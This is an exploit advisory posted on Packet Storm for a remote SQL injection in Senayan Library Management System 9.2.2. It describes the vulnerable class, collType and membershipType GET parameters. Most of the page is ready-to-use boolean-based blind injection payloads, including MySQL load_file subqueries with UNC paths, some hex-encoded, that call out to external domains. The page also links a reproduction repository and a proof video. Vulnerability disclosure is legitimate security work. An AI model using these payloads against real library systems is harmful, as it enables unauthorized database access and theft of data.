exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Senayan Library Management System 9.2.2 SQL Injection

Senayan Library Management System 9.2.2 SQL Injection
Posted Dec 21, 2022
Authored by nu11secur1ty

Senayan Library Management System version 9.2.2 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | f7af79d3509654f87f10d70fc14489158f0fc5d15b14e68a07b6dd84284beddc

Senayan Library Management System 9.2.2 SQL Injection

Change Mirror Download
## Title: Senayan Library Management System v9.2.2 a.k.a SLIMS 9 Multiple SQLi-Not sanitizing correctly cookie session.
## Author: nu11secur1ty
## Date: 12.20.2022
## Vendor: https://slims.web.id/web/
## Software: https://github.com/slims/slims9_bulian/releases/tag/v9.2.2
## Reference:
https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.2.2/SQLi

## Description:
The manual insertion `point 3, 4, and 5` appears to be vulnerable to SQL
injection attacks. The payload '+(select load_file('\\\\
azditm561h7fku3yj99us8ne258zwpkgn4eu1opd.stupid.com\\dzd'))+' was submitted
in the manual insertion `point 3`.
This payload injects a SQL sub-query that calls MySQL's load_file function
with a UNC file path that references a URL on an external domain.
After manual testing: The parameters class, collType and membershipType are
vulnerable to SQLi attacks!
The application interacted with that domain, indicating that the injected
SQL query was executed.
The attacker can take information from all database columns of this system
by using this vulnerability.
Not sanitizing correctly cookie session.

## STATUS: HIGH Vulnerability

[+] Payload:

```MySQL
00
---
Parameter: class (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or
GROUP BY clause
Payload: reportView=true&year=2002&class=bbbb'+(select load_file('\\\\
716gb1cfe9gkja4zdj45qxx9208vwlkcn0en6bv.slims.web.id\\nbq'))+''+(select
load_file('\\\\1rtb9wq2997df8x4x2cdtmp4kvqoee255twjjb70.slims.web.id\\avg'))+''
RLIKE (SELECT (CASE WHEN (2920=2920) THEN 0x62626262+(select
load_file(0x5c5c5c5c37313667623163666539676b6a61347a646a34357178783932303876776c6b636e30656e3662762e736c696d732e7765622e69645c5c6e6271))+''+(select
load_file(0x5c5c5c5c3172746239777132393937646638783478326364746d70346b76716f656532353574776a6a6237302e736c696d732e7765622e69645c5c617667))+''
ELSE 0x28 END)) AND 'xMPZ'='xMPZ&membershipType=a''&collType=aaaa'+(select
load_file('\\\\dctiy0hziwzd4xujfqqcfd3uul0koac1fp6ft9hy.slims.web.id\\wtf'))+''+(select
load_file('\\\\azditm561h7fku3yj99us8ne258zwpkgn4eu1opd.slims.web.id
\\dzd'))+'
---

01
---
Parameter: collType (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or
GROUP BY clause
Payload: reportView=true&year=2002&class=bbbb'+(select load_file('\\\\
716gb1cfe9gkja4zdj45qxx9208vwlkcn0en6bv.slims.web.id\\nbq'))+''+(select
load_file('\\\\1rtb9wq2997df8x4x2cdtmp4kvqoee255twjjb70.slims.web.id\\avg'))+'&membershipType=a''&collType=aaaa'+(select
load_file('\\\\dctiy0hziwzd4xujfqqcfd3uul0koac1fp6ft9hy.slims.web.id\\wtf'))+''+(select
load_file('\\\\azditm561h7fku3yj99us8ne258zwpkgn4eu1opd.slims.web.id\\dzd'))+''
RLIKE (SELECT (CASE WHEN (2279=2279) THEN 0x61616161+(select
load_file(0x5c5c5c5c646374697930687a69777a643478756a6671716366643375756c306b6f61633166703666743968792e736c696d732e7765622e69645c5c777466))+''+(select
load_file(0x5c5c5c5c617a6469746d3536316837666b7533796a39397573386e653235387a77706b676e346575316f70642e736c696d732e7765622e69645c5c647a64))+''
ELSE 0x28 END)) AND 'MGZY'='MGZY
---

03
---
Parameter: membershipType (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or
GROUP BY clause
Payload: reportView=true&year=2002&class=bbbb'+(select load_file('\\\\
716gb1cfe9gkja4zdj45qxx9208vwlkcn0en6bv.slims.web.id\\nbq'))+''+(select
load_file('\\\\1rtb9wq2997df8x4x2cdtmp4kvqoee255twjjb70.slims.web.id\\avg'))+'&membershipType=a'''
RLIKE (SELECT (CASE WHEN (7628=7628) THEN 0x612727 ELSE 0x28 END)) AND
'ckmk'='ckmk&collType=aaaa'+(select load_file('\\\\
dctiy0hziwzd4xujfqqcfd3uul0koac1fp6ft9hy.slims.web.id\\wtf'))+''+(select
load_file('\\\\azditm561h7fku3yj99us8ne258zwpkgn4eu1opd.slims.web.id
\\dzd'))+'
---
```

## Reproduce:
[href](
https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.2.2/SQLi
)

## Reference:
[Using HTTP cookies](
https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies)

## Proof and Exploit:
[href](https://streamable.com/1m0y6c)

## Time spent
`00:35:00`

## Writing an exploit
`00:15:00`

Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close